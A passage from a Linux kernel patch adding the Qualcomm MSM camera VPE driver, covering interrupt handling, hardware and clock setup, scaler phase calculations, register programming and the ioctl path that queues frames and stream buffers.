vpe_dev->client = msm_ion_client_create(-1, "vpe"); + + if (!vpe_dev->client) { + pr_err("couldn't create ion client\n"); + return -ENODEV; + } + + return 0; +} + +static void vpe_deinit_mem(struct vpe_device *vpe_dev) +{ + kref_put(&vpe_dev->refcount, vpe_release_ion_client); +} + +static irqreturn_t msm_vpe_irq(int irq_num, void *data) +{ + unsigned long flags; + uint32_t irq_status; + struct msm_vpe_tasklet_queue_cmd *queue_cmd; + struct vpe_device *vpe_dev = (struct vpe_device *) data; + + irq_status = msm_camera_io_r_mb(vpe_dev->base + + VPE_INTR_STATUS_OFFSET); + + spin_lock_irqsave(&vpe_dev->tasklet_lock, flags); + queue_cmd = &vpe_dev->tasklet_queue_cmd[vpe_dev->taskletq_idx]; + if (queue_cmd->cmd_used) { + VPE_DBG("%s: vpe tasklet queue overflow\n", __func__); + list_del(&queue_cmd->list); + } else { + atomic_add(1, &vpe_dev->irq_cnt); + } + queue_cmd->irq_status = irq_status; + + queue_cmd->cmd_used = 1; + vpe_dev->taskletq_idx = + (vpe_dev->taskletq_idx + 1) % MSM_VPE_TASKLETQ_SIZE; + list_add_tail(&queue_cmd->list, &vpe_dev->tasklet_q); + spin_unlock_irqrestore(&vpe_dev->tasklet_lock, flags); + + tasklet_schedule(&vpe_dev->vpe_tasklet); + + msm_camera_io_w_mb(irq_status, vpe_dev->base + VPE_INTR_CLEAR_OFFSET); + msm_camera_io_w(0, vpe_dev->base + VPE_INTR_ENABLE_OFFSET); + VPE_DBG("%s: irq_status=0x%x.\n", __func__, irq_status); + + return IRQ_HANDLED; +} + +static void msm_vpe_do_tasklet(unsigned long data) +{ + unsigned long flags; + struct vpe_device *vpe_dev = (struct vpe_device *)data; + struct msm_vpe_tasklet_queue_cmd *queue_cmd; + + while (atomic_read(&vpe_dev->irq_cnt)) { + spin_lock_irqsave(&vpe_dev->tasklet_lock, flags); + queue_cmd = list_first_entry(&vpe_dev->tasklet_q, + struct msm_vpe_tasklet_queue_cmd, list); + if (!queue_cmd) { + atomic_set(&vpe_dev->irq_cnt, 0); + spin_unlock_irqrestore(&vpe_dev->tasklet_lock, flags); + return; + } + atomic_sub(1, &vpe_dev->irq_cnt); + list_del(&queue_cmd->list); + queue_cmd->cmd_used = 0; + + spin_unlock_irqrestore(&vpe_dev->tasklet_lock, flags); + + VPE_DBG("Frame done!!\n"); + msm_vpe_notify_frame_done(vpe_dev); + } +} + +static int vpe_init_hardware(struct vpe_device *vpe_dev) +{ + int rc = 0; + + if (vpe_dev->fs_vpe == NULL) { + vpe_dev->fs_vpe = + regulator_get(&vpe_dev->pdev->dev, "vdd"); + if (IS_ERR(vpe_dev->fs_vpe)) { + pr_err("Regulator vpe vdd get failed %ld\n", + PTR_ERR(vpe_dev->fs_vpe)); + vpe_dev->fs_vpe = NULL; + rc = -ENODEV; + goto fail; + } else if (regulator_enable(vpe_dev->fs_vpe)) { + pr_err("Regulator vpe vdd enable failed\n"); + regulator_put(vpe_dev->fs_vpe); + vpe_dev->fs_vpe = NULL; + rc = -ENODEV; + goto fail; + } + } + + rc = msm_cam_clk_enable(&vpe_dev->pdev->dev, vpe_clk_info, + vpe_dev->vpe_clk, ARRAY_SIZE(vpe_clk_info), 1); + if (rc < 0) { + pr_err("clk enable failed\n"); + goto disable_and_put_regulator; + } + + vpe_dev->base = ioremap(vpe_dev->mem->start, + resource_size(vpe_dev->mem)); + if (!vpe_dev->base) { + rc = -ENOMEM; + pr_err("ioremap failed\n"); + goto disable_and_put_regulator; + } + + if (vpe_dev->state != VPE_STATE_BOOT) { + rc = request_irq(vpe_dev->irq->start, msm_vpe_irq, + IRQF_TRIGGER_RISING, + "vpe", vpe_dev); + if (rc < 0) { + pr_err("irq request fail! start=%u\n", + (uint32_t) vpe_dev->irq->start); + rc = -EBUSY; + goto unmap_base; + } else { + VPE_DBG("Got irq! %d\n", (int)vpe_dev->irq->start); + } + } else { + VPE_DBG("Skip requesting the irq since device is booting\n"); + } + vpe_dev->buf_mgr_subdev = msm_buf_mngr_get_subdev(); + + msm_vpe_create_buff_queue(vpe_dev, MSM_VPE_MAX_BUFF_QUEUE); + return rc; + +unmap_base: + iounmap(vpe_dev->base); +disable_and_put_regulator: + regulator_disable(vpe_dev->fs_vpe); + regulator_put(vpe_dev->fs_vpe); +fail: + return rc; +} + +static int vpe_release_hardware(struct vpe_device *vpe_dev) +{ + if (vpe_dev->state != VPE_STATE_BOOT) { + free_irq(vpe_dev->irq->start, vpe_dev); + tasklet_kill(&vpe_dev->vpe_tasklet); + atomic_set(&vpe_dev->irq_cnt, 0); + } + + msm_vpe_delete_buff_queue(vpe_dev); + iounmap(vpe_dev->base); + msm_cam_clk_enable(&vpe_dev->pdev->dev, vpe_clk_info, + vpe_dev->vpe_clk, ARRAY_SIZE(vpe_clk_info), 0); + return 0; +} + +static int vpe_open_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) +{ + int rc = 0; + uint32_t i; + struct vpe_device *vpe_dev = v4l2_get_subdevdata(sd); + + mutex_lock(&vpe_dev->mutex); + if (vpe_dev->vpe_open_cnt == MAX_ACTIVE_VPE_INSTANCE) { + pr_err("No free VPE instance\n"); + rc = -ENODEV; + goto err_mutex_unlock; + } + + for (i = 0; i < MAX_ACTIVE_VPE_INSTANCE; i++) { + if (vpe_dev->vpe_subscribe_list[i].active == 0) { + vpe_dev->vpe_subscribe_list[i].active = 1; + vpe_dev->vpe_subscribe_list[i].vfh = &fh->vfh; + break; + } + } + if (i == MAX_ACTIVE_VPE_INSTANCE) { + pr_err("No free instance\n"); + rc = -ENODEV; + goto err_mutex_unlock; + } + + VPE_DBG("open %d %p\n", i, &fh->vfh); + vpe_dev->vpe_open_cnt++; + if (vpe_dev->vpe_open_cnt == 1) { + rc = vpe_init_hardware(vpe_dev); + if (rc < 0) { + pr_err("%s: Couldn't init vpe hardware\n", __func__); + vpe_dev->vpe_open_cnt--; + goto err_fixup_sub_list; + } + rc = vpe_init_mem(vpe_dev); + if (rc < 0) { + pr_err("%s: Couldn't init mem\n", __func__); + vpe_dev->vpe_open_cnt--; + rc = -ENODEV; + goto err_release_hardware; + } + vpe_dev->state = VPE_STATE_IDLE; + } + mutex_unlock(&vpe_dev->mutex); + + return rc; + +err_release_hardware: + vpe_release_hardware(vpe_dev); +err_fixup_sub_list: + for (i = 0; i < MAX_ACTIVE_VPE_INSTANCE; i++) { + if (vpe_dev->vpe_subscribe_list[i].vfh == &fh->vfh) { + vpe_dev->vpe_subscribe_list[i].active = 0; + vpe_dev->vpe_subscribe_list[i].vfh = NULL; + break; + } + } +err_mutex_unlock: + mutex_unlock(&vpe_dev->mutex); + return rc; +} + +static int vpe_close_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) +{ + uint32_t i; + struct vpe_device *vpe_dev = v4l2_get_subdevdata(sd); + mutex_lock(&vpe_dev->mutex); + for (i = 0; i < MAX_ACTIVE_VPE_INSTANCE; i++) { + if (vpe_dev->vpe_subscribe_list[i].vfh == &fh->vfh) { + vpe_dev->vpe_subscribe_list[i].active = 0; + vpe_dev->vpe_subscribe_list[i].vfh = NULL; + break; + } + } + if (i == MAX_ACTIVE_VPE_INSTANCE) { + pr_err("Invalid close\n"); + mutex_unlock(&vpe_dev->mutex); + return -ENODEV; + } + + VPE_DBG("close %d %p\n", i, &fh->vfh); + vpe_dev->vpe_open_cnt--; + if (vpe_dev->vpe_open_cnt == 0) { + vpe_deinit_mem(vpe_dev); + vpe_release_hardware(vpe_dev); + vpe_dev->state = VPE_STATE_OFF; + } + mutex_unlock(&vpe_dev->mutex); + return 0; +} + +static const struct v4l2_subdev_internal_ops msm_vpe_internal_ops = { + .open = vpe_open_node, + .close = vpe_close_node, +}; + +static int msm_vpe_buffer_ops(struct vpe_device *vpe_dev, + uint32_t buff_mgr_ops, struct msm_buf_mngr_info *buff_mgr_info) +{ + int rc = -EINVAL; + + rc = v4l2_subdev_call(vpe_dev->buf_mgr_subdev, core, ioctl, + buff_mgr_ops, buff_mgr_info); + if (rc < 0) + pr_err("%s: line %d rc = %d\n", __func__, __LINE__, rc); + return rc; +} + +static int msm_vpe_notify_frame_done(struct vpe_device *vpe_dev) +{ + struct v4l2_event v4l2_evt; + struct msm_queue_cmd *frame_qcmd; + struct msm_queue_cmd *event_qcmd; + struct msm_vpe_frame_info_t *processed_frame; + struct msm_device_queue *queue = &vpe_dev->processing_q; + struct msm_buf_mngr_info buff_mgr_info; + int rc = 0; + + if (queue->len > 0) { + frame_qcmd = msm_dequeue(queue, list_frame); + processed_frame = frame_qcmd->command; + do_gettimeofday(&(processed_frame->out_time)); + kfree(frame_qcmd); + event_qcmd = kzalloc(sizeof(struct msm_queue_cmd), GFP_ATOMIC); + if (!event_qcmd) { + pr_err("%s: Insufficient memory\n", __func__); + return -ENOMEM; + } + atomic_set(&event_qcmd->on_heap, 1); + event_qcmd->command = processed_frame; + VPE_DBG("fid %d\n", processed_frame->frame_id); + msm_enqueue(&vpe_dev->eventData_q, &event_qcmd->list_eventdata); + + if (!processed_frame->output_buffer_info.processed_divert) { + memset(&buff_mgr_info, 0 , + sizeof(buff_mgr_info)); + buff_mgr_info.session_id = + ((processed_frame->identity >> 16) & 0xFFFF); + buff_mgr_info.stream_id = + (processed_frame->identity & 0xFFFF); + buff_mgr_info.frame_id = processed_frame->frame_id; + buff_mgr_info.timestamp = processed_frame->timestamp; + buff_mgr_info.index = + processed_frame->output_buffer_info.index; + rc = msm_vpe_buffer_ops(vpe_dev, + VIDIOC_MSM_BUF_MNGR_BUF_DONE, + &buff_mgr_info); + if (rc < 0) { + pr_err("%s: error doing VIDIOC_MSM_BUF_MNGR_BUF_DONE\n", + __func__); + rc = -EINVAL; + } + } + + v4l2_evt.id = processed_frame->inst_id; + v4l2_evt.type = V4L2_EVENT_VPE_FRAME_DONE; + v4l2_event_queue(vpe_dev->msm_sd.sd.devnode, &v4l2_evt); + } + return rc; +} + +static void vpe_update_scaler_params(struct vpe_device *vpe_dev, + struct msm_vpe_frame_strip_info strip_info) +{ + uint32_t out_ROI_width, out_ROI_height; + uint32_t src_ROI_width, src_ROI_height; + + /* + * phase_step_x, phase_step_y, phase_init_x and phase_init_y + * are represented in fixed-point, unsigned 3.29 format + */ + uint32_t phase_step_x = 0; + uint32_t phase_step_y = 0; + uint32_t phase_init_x = 0; + uint32_t phase_init_y = 0; + + uint32_t src_roi, src_x, src_y, src_xy, temp; + uint32_t yscale_filter_sel, xscale_filter_sel; + uint32_t scale_unit_sel_x, scale_unit_sel_y; + uint64_t numerator, denominator; + + /* + * assumption is both direction need zoom. this can be + * improved. + */ + temp = msm_camera_io_r(vpe_dev->base + VPE_OP_MODE_OFFSET) | 0x3; + msm_camera_io_w(temp, vpe_dev->base + VPE_OP_MODE_OFFSET); + + src_ROI_width = strip_info.src_w; + src_ROI_height = strip_info.src_h; + out_ROI_width = strip_info.dst_w; + out_ROI_height = strip_info.dst_h; + + VPE_DBG("src w = %u, h=%u, dst w = %u, h =%u.\n", + src_ROI_width, src_ROI_height, out_ROI_width, + out_ROI_height); + src_roi = (src_ROI_height << 16) + src_ROI_width; + + msm_camera_io_w(src_roi, vpe_dev->base + VPE_SRC_SIZE_OFFSET); + + src_x = strip_info.src_x; + src_y = strip_info.src_y; + + VPE_DBG("src_x = %d, src_y=%d.\n", src_x, src_y); + + src_xy = src_y*(1<<16) + src_x; + msm_camera_io_w(src_xy, vpe_dev->base + + VPE_SRC_XY_OFFSET); + VPE_DBG("src_xy = 0x%x, src_roi=0x%x.\n", src_xy, src_roi); + + /* decide whether to use FIR or M/N for scaling */ + if ((out_ROI_width == 1 && src_ROI_width < 4) || + (src_ROI_width < 4 * out_ROI_width - 3)) + scale_unit_sel_x = 0;/* use FIR scalar */ + else + scale_unit_sel_x = 1;/* use M/N scalar */ + + if ((out_ROI_height == 1 && src_ROI_height < 4) || + (src_ROI_height < 4 * out_ROI_height - 3)) + scale_unit_sel_y = 0;/* use FIR scalar */ + else + scale_unit_sel_y = 1;/* use M/N scalar */ + + /* calculate phase step for the x direction */ + + /* + * if destination is only 1 pixel wide, the value of + * phase_step_x is unimportant. Assigning phase_step_x to src + * ROI width as an arbitrary value. + */ + if (out_ROI_width == 1) + phase_step_x = (uint32_t) ((src_ROI_width) << + SCALER_PHASE_BITS); + + /* if using FIR scalar */ + else if (scale_unit_sel_x == 0) { + + /* + * Calculate the quotient ( src_ROI_width - 1 ) ( + * out_ROI_width - 1) with u3.29 precision. Quotient + * is rounded up to the larger 29th decimal point + */ + numerator = (uint64_t)(src_ROI_width - 1) << + SCALER_PHASE_BITS; + /* + * never equals to 0 because of the "(out_ROI_width == + * 1 )" + */ + denominator = (uint64_t)(out_ROI_width - 1); + /* + * divide and round up to the larger 29th decimal + * point. + */ + phase_step_x = (uint32_t) vpe_do_div((numerator + + denominator - 1), denominator); + } else if (scale_unit_sel_x == 1) { /* if M/N scalar */ + /* + * Calculate the quotient ( src_ROI_width ) / ( + * out_ROI_width) with u3.29 precision. Quotient is + * rounded down to the smaller 29th decimal point. + */ + numerator = (uint64_t)(src_ROI_width) << + SCALER_PHASE_BITS; + denominator = (uint64_t)(out_ROI_width); + phase_step_x = + (uint32_t) vpe_do_div(numerator, denominator); + } + /* calculate phase step for the y direction */ + + /* + * if destination is only 1 pixel wide, the value of + * phase_step_x is unimportant. Assigning phase_step_x to src + * ROI width as an arbitrary value. + */ + if (out_ROI_height == 1) + phase_step_y = + (uint32_t) ((src_ROI_height) << SCALER_PHASE_BITS); + + /* if FIR scalar */ + else if (scale_unit_sel_y == 0) { + /* + * Calculate the quotient ( src_ROI_height - 1 ) / ( + * out_ROI_height - 1) with u3.29 precision. Quotient + * is rounded up to the larger 29th decimal point. + */ + numerator = (uint64_t)(src_ROI_height - 1) << + SCALER_PHASE_BITS; + /* + * never equals to 0 because of the " ( out_ROI_height + * == 1 )" case + */ + denominator = (uint64_t)(out_ROI_height - 1); + /* + * Quotient is rounded up to the larger 29th decimal + * point. + */ + phase_step_y = + (uint32_t) vpe_do_div( + (numerator + denominator - 1), denominator); + } else if (scale_unit_sel_y == 1) { /* if M/N scalar */ + /* + * Calculate the quotient ( src_ROI_height ) ( + * out_ROI_height) with u3.29 precision. Quotient is + * rounded down to the smaller 29th decimal point. + */ + numerator = (uint64_t)(src_ROI_height) << + SCALER_PHASE_BITS; + denominator = (uint64_t)(out_ROI_height); + phase_step_y = (uint32_t) vpe_do_div( + numerator, denominator); + } + + /* decide which set of FIR coefficients to use */ + if (phase_step_x > HAL_MDP_PHASE_STEP_2P50) + xscale_filter_sel = 0; + else if (phase_step_x > HAL_MDP_PHASE_STEP_1P66) + xscale_filter_sel = 1; + else if (phase_step_x > HAL_MDP_PHASE_STEP_1P25) + xscale_filter_sel = 2; + else + xscale_filter_sel = 3; + + if (phase_step_y > HAL_MDP_PHASE_STEP_2P50) + yscale_filter_sel = 0; + else if (phase_step_y > HAL_MDP_PHASE_STEP_1P66) + yscale_filter_sel = 1; + else if (phase_step_y > HAL_MDP_PHASE_STEP_1P25) + yscale_filter_sel = 2; + else + yscale_filter_sel = 3; + + /* calculate phase init for the x direction */ + + /* if using FIR scalar */ + if (scale_unit_sel_x == 0) { + if (out_ROI_width == 1) + phase_init_x = + (uint32_t) ((src_ROI_width - 1) << + SCALER_PHASE_BITS); + else + phase_init_x = 0; + } else if (scale_unit_sel_x == 1) /* M over N scalar */ + phase_init_x = 0; + + /* + * calculate phase init for the y direction if using FIR + * scalar + */ + if (scale_unit_sel_y == 0) { + if (out_ROI_height == 1) + phase_init_y = + (uint32_t) ((src_ROI_height - + 1) << SCALER_PHASE_BITS); + else + phase_init_y = 0; + } else if (scale_unit_sel_y == 1) /* M over N scalar */ + phase_init_y = 0; + + strip_info.phase_step_x = phase_step_x; + strip_info.phase_step_y = phase_step_y; + strip_info.phase_init_x = phase_init_x; + strip_info.phase_init_y = phase_init_y; + VPE_DBG("phase step x = %d, step y = %d.\n", + strip_info.phase_step_x, strip_info.phase_step_y); + VPE_DBG("phase init x = %d, init y = %d.\n", + strip_info.phase_init_x, strip_info.phase_init_y); + + msm_camera_io_w(strip_info.phase_step_x, vpe_dev->base + + VPE_SCALE_PHASEX_STEP_OFFSET); + msm_camera_io_w(strip_info.phase_step_y, vpe_dev->base + + VPE_SCALE_PHASEY_STEP_OFFSET); + + msm_camera_io_w(strip_info.phase_init_x, vpe_dev->base + + VPE_SCALE_PHASEX_INIT_OFFSET); + msm_camera_io_w(strip_info.phase_init_y, vpe_dev->base + + VPE_SCALE_PHASEY_INIT_OFFSET); +} + +static void vpe_program_buffer_addresses( + struct vpe_device *vpe_dev, + unsigned long srcP0, + unsigned long srcP1, + unsigned long outP0, + unsigned long outP1) +{ + VPE_DBG("%s VPE Configured with:\n" + "Src %x, %x Dest %x, %x", + __func__, (uint32_t)srcP0, (uint32_t)srcP1, + (uint32_t)outP0, (uint32_t)outP1); + + msm_camera_io_w(srcP0, vpe_dev->base + VPE_SRCP0_ADDR_OFFSET); + msm_camera_io_w(srcP1, vpe_dev->base + VPE_SRCP1_ADDR_OFFSET); + msm_camera_io_w(outP0, vpe_dev->base + VPE_OUTP0_ADDR_OFFSET); + msm_camera_io_w(outP1, vpe_dev->base + VPE_OUTP1_ADDR_OFFSET); +} + +static int vpe_start(struct vpe_device *vpe_dev) +{ + /* enable the frame irq, bit 0 = Display list 0 ROI done */ + msm_camera_io_w_mb(1, vpe_dev->base + VPE_INTR_ENABLE_OFFSET); + msm_camera_io_dump(vpe_dev->base, 0x120); + msm_camera_io_dump(vpe_dev->base + 0x00400, 0x18); + msm_camera_io_dump(vpe_dev->base + 0x10000, 0x250); + msm_camera_io_dump(vpe_dev->base + 0x30000, 0x20); + msm_camera_io_dump(vpe_dev->base + 0x50000, 0x30); + msm_camera_io_dump(vpe_dev->base + 0x50400, 0x10); + + /* + * This triggers the operation. When the VPE is done, + * msm_vpe_irq will fire. + */ + msm_camera_io_w_mb(1, vpe_dev->base + VPE_DL0_START_OFFSET); + return 0; +} + +static void vpe_config_axi_default(struct vpe_device *vpe_dev) +{ + msm_camera_io_w(0x25, vpe_dev->base + VPE_AXI_ARB_2_OFFSET); +} + +static int vpe_reset(struct vpe_device *vpe_dev) +{ + uint32_t vpe_version; + uint32_t rc = 0; + + vpe_version = msm_camera_io_r( + vpe_dev->base + VPE_HW_VERSION_OFFSET); + VPE_DBG("vpe_version = 0x%x\n", vpe_version); + /* disable all interrupts.*/ + msm_camera_io_w(0, vpe_dev->base + VPE_INTR_ENABLE_OFFSET); + /* clear all pending interrupts*/ + msm_camera_io_w(0x1fffff, vpe_dev->base + VPE_INTR_CLEAR_OFFSET); + /* write sw_reset to reset the core. */ + msm_camera_io_w(0x10, vpe_dev->base + VPE_SW_RESET_OFFSET); + /* then poll the reset bit, it should be self-cleared. */ + while (1) { + rc = msm_camera_io_r(vpe_dev->base + VPE_SW_RESET_OFFSET) \ + & 0x10; + if (rc == 0) + break; + cpu_relax(); + } + /* + * at this point, hardware is reset. Then pogram to default + * values. + */ + msm_camera_io_w(VPE_AXI_RD_ARB_CONFIG_VALUE, + vpe_dev->base + VPE_AXI_RD_ARB_CONFIG_OFFSET); + + msm_camera_io_w(VPE_CGC_ENABLE_VALUE, + vpe_dev->base + VPE_CGC_EN_OFFSET); + msm_camera_io_w(1, vpe_dev->base + VPE_CMD_MODE_OFFSET); + msm_camera_io_w(VPE_DEFAULT_OP_MODE_VALUE, + vpe_dev->base + VPE_OP_MODE_OFFSET); + msm_camera_io_w(VPE_DEFAULT_SCALE_CONFIG, + vpe_dev->base + VPE_SCALE_CONFIG_OFFSET); + vpe_config_axi_default(vpe_dev); + return rc; +} + +static void vpe_update_scale_coef(struct vpe_device *vpe_dev, uint32_t *p) +{ + uint32_t i, offset; + offset = *p; + for (i = offset; i < (VPE_SCALE_COEFF_NUM + offset); i++) { + VPE_DBG("Setting scale table %d\n", i); + msm_camera_io_w(*(++p), + vpe_dev->base + VPE_SCALE_COEFF_LSBn(i)); + msm_camera_io_w(*(++p), + vpe_dev->base + VPE_SCALE_COEFF_MSBn(i)); + } +} + +static void vpe_input_plane_config(struct vpe_device *vpe_dev, uint32_t *p) +{ + msm_camera_io_w(*p, vpe_dev->base + VPE_SRC_FORMAT_OFFSET); + msm_camera_io_w(*(++p), + vpe_dev->base + VPE_SRC_UNPACK_PATTERN1_OFFSET); + msm_camera_io_w(*(++p), vpe_dev->base + VPE_SRC_IMAGE_SIZE_OFFSET); + msm_camera_io_w(*(++p), vpe_dev->base + VPE_SRC_YSTRIDE1_OFFSET); + msm_camera_io_w(*(++p), vpe_dev->base + VPE_SRC_SIZE_OFFSET); + msm_camera_io_w(*(++p), vpe_dev->base + VPE_SRC_XY_OFFSET); +} + +static void vpe_output_plane_config(struct vpe_device *vpe_dev, uint32_t *p) +{ + msm_camera_io_w(*p, vpe_dev->base + VPE_OUT_FORMAT_OFFSET); + msm_camera_io_w(*(++p), + vpe_dev->base + VPE_OUT_PACK_PATTERN1_OFFSET); + msm_camera_io_w(*(++p), vpe_dev->base + VPE_OUT_YSTRIDE1_OFFSET); + msm_camera_io_w(*(++p), vpe_dev->base + VPE_OUT_SIZE_OFFSET); + msm_camera_io_w(*(++p), vpe_dev->base + VPE_OUT_XY_OFFSET); +} + +static void vpe_operation_config(struct vpe_device *vpe_dev, uint32_t *p) +{ + msm_camera_io_w(*p, vpe_dev->base + VPE_OP_MODE_OFFSET); +} + +/** + * msm_vpe_transaction_setup() - send setup for one frame to VPE + * @vpe_dev: vpe device + * @data: packed setup commands + * + * See msm_vpe.h for the expected format of `data' + */ +static void msm_vpe_transaction_setup(struct vpe_device *vpe_dev, void *data) +{ + int i; + void *iter = data; + + vpe_mem_dump("vpe_transaction", data, VPE_TRANSACTION_SETUP_CONFIG_LEN); + + for (i = 0; i < VPE_NUM_SCALER_TABLES; ++i) { + vpe_update_scale_coef(vpe_dev, (uint32_t *)iter); + iter += VPE_SCALER_CONFIG_LEN; + } + vpe_input_plane_config(vpe_dev, (uint32_t *)iter); + iter += VPE_INPUT_PLANE_CFG_LEN; + vpe_output_plane_config(vpe_dev, (uint32_t *)iter); + iter += VPE_OUTPUT_PLANE_CFG_LEN; + vpe_operation_config(vpe_dev, (uint32_t *)iter); +} + +static int msm_vpe_send_frame_to_hardware(struct vpe_device *vpe_dev, + struct msm_queue_cmd *frame_qcmd) +{ + struct msm_vpe_frame_info_t *process_frame; + + if (vpe_dev->processing_q.len < MAX_VPE_PROCESSING_FRAME) { + process_frame = frame_qcmd->command; + msm_enqueue(&vpe_dev->processing_q, + &frame_qcmd->list_frame); + + vpe_update_scaler_params(vpe_dev, process_frame->strip_info); + vpe_program_buffer_addresses( + vpe_dev, + process_frame->src_phyaddr, + process_frame->src_phyaddr + + process_frame->src_chroma_plane_offset, + process_frame->dest_phyaddr, + process_frame->dest_phyaddr + + process_frame->dest_chroma_plane_offset); + vpe_start(vpe_dev); + do_gettimeofday(&(process_frame->in_time)); + } + return 0; +} + +static int msm_vpe_cfg(struct vpe_device *vpe_dev, + struct msm_camera_v4l2_ioctl_t *ioctl_ptr) +{ + int rc = 0; + struct msm_queue_cmd *frame_qcmd = NULL; + struct msm_vpe_frame_info_t *new_frame = + kzalloc(sizeof(struct msm_vpe_frame_info_t), GFP_KERNEL); + unsigned long in_phyaddr, out_phyaddr; + struct msm_buf_mngr_info buff_mgr_info; + + if (!new_frame) { + pr_err("Insufficient memory. return\n"); + return -ENOMEM; + } + + rc = copy_from_user(new_frame, (void __user *)ioctl_ptr->ioctl_ptr, + sizeof(struct msm_vpe_frame_info_t)); + if (rc) { + pr_err("%s:%d copy from user\n", __func__, __LINE__); + rc = -EINVAL; + goto err_free_new_frame; + } + + in_phyaddr = msm_vpe_fetch_buffer_info(vpe_dev, + &new_frame->input_buffer_info, + ((new_frame->identity >> 16) & 0xFFFF), + (new_frame->identity & 0xFFFF)); + if (!in_phyaddr) { + pr_err("error gettting input physical address\n"); + rc = -EINVAL; + goto err_free_new_frame; + } + + memset(&new_frame->output_buffer_info, 0, + sizeof(struct msm_vpe_buffer_info_t)); + memset(&buff_mgr_info, 0, sizeof(struct msm_buf_mngr_info)); + buff_mgr_info.session_id = ((new_frame->identity >> 16) & 0xFFFF); + buff_mgr_info.stream_id = (new_frame->identity & 0xFFFF); + rc = msm_vpe_buffer_ops(vpe_dev, VIDIOC_MSM_BUF_MNGR_GET_BUF, + &buff_mgr_info); + if (rc < 0) { + pr_err("error getting buffer\n"); + rc = -EINVAL; + goto err_free_new_frame; + } + + new_frame->output_buffer_info.index = buff_mgr_info.index; + out_phyaddr = msm_vpe_fetch_buffer_info(vpe_dev, + &new_frame->output_buffer_info, + ((new_frame->identity >> 16) & 0xFFFF), + (new_frame->identity & 0xFFFF)); + if (!out_phyaddr) { + pr_err("error gettting output physical address\n"); + rc = -EINVAL; + goto err_put_buf; + } + + new_frame->src_phyaddr = in_phyaddr; + new_frame->dest_phyaddr = out_phyaddr; + + frame_qcmd = kzalloc(sizeof(struct msm_queue_cmd), GFP_KERNEL); + if (!frame_qcmd) { + pr_err("Insufficient memory. return\n"); + rc = -ENOMEM; + goto err_put_buf; + } + + atomic_set(&frame_qcmd->on_heap, 1); + frame_qcmd->command = new_frame; + rc = msm_vpe_send_frame_to_hardware(vpe_dev, frame_qcmd); + if (rc < 0) { + pr_err("error cannot send frame to hardware\n"); + rc = -EINVAL; + goto err_free_frame_qcmd; + } + + return rc; + +err_free_frame_qcmd: + kfree(frame_qcmd); +err_put_buf: + msm_vpe_buffer_ops(vpe_dev, VIDIOC_MSM_BUF_MNGR_PUT_BUF, + &buff_mgr_info); +err_free_new_frame: + kfree(new_frame); + return rc; +} + +static long msm_vpe_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + struct vpe_device *vpe_dev = v4l2_get_subdevdata(sd); + struct msm_camera_v4l2_ioctl_t *ioctl_ptr = arg; + int rc = 0; + + mutex_lock(&vpe_dev->mutex); + switch (cmd) { + case VIDIOC_MSM_VPE_TRANSACTION_SETUP: { + struct msm_vpe_transaction_setup_cfg *cfg; + VPE_DBG("VIDIOC_MSM_VPE_TRANSACTION_SETUP\n"); + if (sizeof(*cfg) != ioctl_ptr->len) { + pr_err("%s: size mismatch cmd=%d, len=%d, expected=%d", + __func__, cmd, ioctl_ptr->len, + sizeof(*cfg)); + rc = -EINVAL; + break; + } + + cfg = kzalloc(ioctl_ptr->len, GFP_KERNEL); + if (!cfg) { + pr_err("%s:%d: malloc error\n", __func__, __LINE__); + mutex_unlock(&vpe_dev->mutex); + return -EINVAL; + } + + rc = copy_from_user(cfg, (void __user *)ioctl_ptr->ioctl_ptr, + ioctl_ptr->len); + if (rc) { + pr_err("%s:%d copy from user\n", __func__, __LINE__); + kfree(cfg); + break; + } + + msm_vpe_transaction_setup(vpe_dev, (void *)cfg); + kfree(cfg); + break; + } + case VIDIOC_MSM_VPE_CFG: { + VPE_DBG("VIDIOC_MSM_VPE_CFG\n"); + rc = msm_vpe_cfg(vpe_dev, ioctl_ptr); + break; + } + case VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO: { + struct msm_vpe_stream_buff_info_t *u_stream_buff_info; + struct msm_vpe_stream_buff_info_t k_stream_buff_info; + + VPE_DBG("VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO\n"); + + if (sizeof(struct msm_vpe_stream_buff_info_t) != + ioctl_ptr->len) { + pr_err("%s:%d: invalid length\n", __func__, __LINE__); + mutex_unlock(&vpe_dev->mutex); + return -EINVAL; + } + + u_stream_buff_info = kzalloc(ioctl_ptr->len, GFP_KERNEL); + if (!u_stream_buff_info) { + pr_err("%s:%d: malloc error\n", __func__, __LINE__); + mutex_unlock(&vpe_dev->mutex); + return -EINVAL; + } + + rc = (copy_from_user(u_stream_buff_info, + (void __user *)ioctl_ptr->ioctl_ptr, + ioctl_ptr->len) ? -EFAULT : 0); + if (rc) { + pr_err("%s:%d copy from user\n", __func__, __LINE__); + kfree(u_stream_buff_info); + mutex_unlock(&vpe_dev->mutex); + return -EINVAL; + } + + if ((u_stream_buff_info->num_buffs == 0) || + (u_stream_buff_info->num_buffs > + MSM_CAMERA_MAX_STREAM_BUF)) { + pr_err("%s:%d: Invalid number of buffers\n", __func__, + __LINE__); + kfree(u_stream_buff_info); + mutex_unlock(&vpe_dev->mutex); + return -EINVAL; + } + k_stream_buff_info.num_buffs = u_stream_buff_info->num_buffs; + k_stream_buff_info.identity = u_stream_buff_info->identity; + k_stream_buff_info.buffer_info = + kzalloc(k_stream_buff_info.num_buffs * + sizeof(struct msm_vpe_buffer_info_t), GFP_KERNEL); + if (!k_stream_buff_info.buffer_info) { + pr_err("%s:%d: malloc error\n", __func__, __LINE__); + kfree(u_stream_buff_info); + mutex_unlock(&vpe_dev->mutex); + return -EINVAL; + } + + rc = (copy_from_user(k_stream_buff_info.buffer_info, + (void __user *)u_stream_buff_info->buffer_info, + k_stream_buff_info.num_buffs * + sizeof(struct msm_vpe_buffer_info_t)) ? + -EFAULT : 0); + if (rc) { + pr_err("%s:%d copy from user\n", __func__, __LINE__); + kfree(k_stream_buff_info.buffer_info); + kfree(u_stream_buff_info); + mutex_unlock(&vpe_dev->mutex); + return -EINVAL; + } + + rc = msm_vpe_add_buff_queue_entry(vpe_dev, + ((k_stream_buff_info.identity >> 16) & 0xFFFF), + (k_stream_buff_info.identity & 0xFFFF)); + if (!rc) + rc = msm_vpe_enqueue_buff_info_list(vpe_dev, + &k_stream_buff_info); + + kfree(k_stream_buff_info.buffer_info); + kfree(u_stream_buff_info); + break; + } + case 